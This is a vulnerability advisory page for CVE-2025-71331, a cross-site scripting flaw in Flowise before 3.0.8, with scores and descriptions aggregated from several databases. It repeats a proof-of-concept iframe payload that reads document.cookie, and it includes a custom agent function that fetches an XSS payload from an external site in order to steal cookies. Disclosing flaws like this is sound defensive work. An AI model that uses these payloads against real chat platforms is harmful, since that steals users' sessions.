CVE-2025-71331
JSON

5.1medium

Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows

Severity
5.1medium CVSS:4.0 by VulnCheck
Exploit likelihood
0.20% (higher than 10% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
VulnCheck
Also known as
GHSA-4fr9-3x69-36wv

Description

Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.

Affected

Product or packageVersionsReported by
Flowise Flowisebefore 3.0.8
Not affected: 3.0.8
CVE List
flowise (npm)before 3.0.8GitHub Advisory Database
flowiseai flowisebefore 3.0.8NVD

All scores

VulnCheck5.1medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
VulnCheck6.1medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Classification

CWE-79CWE-80

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.

GitHub Advisory Database
Summary

A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.

Details
  1. Send a Message <iframe src="javascript:alert(document.cookie);"> from User in a chat box: image
Trigger in other ways:
  1. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)

  2. Create a Custom function as an example, use the below example code.

const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
    }
};
try {
    const response = await fetch(url, options);
    const text = await response.text();
    return text;
} catch (error) {
    console.error(error);
    return '';
}
  1. The external website (https://external.website) return a XSS payload as content.

    image
  2. The javascript code is executed and the victim's cookie data is sent to the external website.

    image
PoC

<iframe src="javascript:alert(document.cookie);">

Impact

it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

NVD (es)

Flowise en versiones anteriores a la 3.0.8 contiene una vulnerabilidad de Cross-site Scripting (XSS) causada por un filtrado de entrada insuficiente en mensajes de chat y funciones de agente personalizadas. Un atacante puede inyectar JavaScript malicioso enviando una carga útil de iframe (por ejemplo, [iframe_tag]) en un cuadro de chat, o haciendo que una función de agente personalizada devuelva una carga útil de XSS desde un sitio web externo. El script inyectado se ejecuta en el navegador de la víctima, lo que permite el robo de cookies y datos de sesión.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-71331 changed 2026-11-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-4fr9-3x69-36wv changed 2026-07-08CC-BY-4.0
NVDCVE-2025-71331 changed 2026-10-19Public domain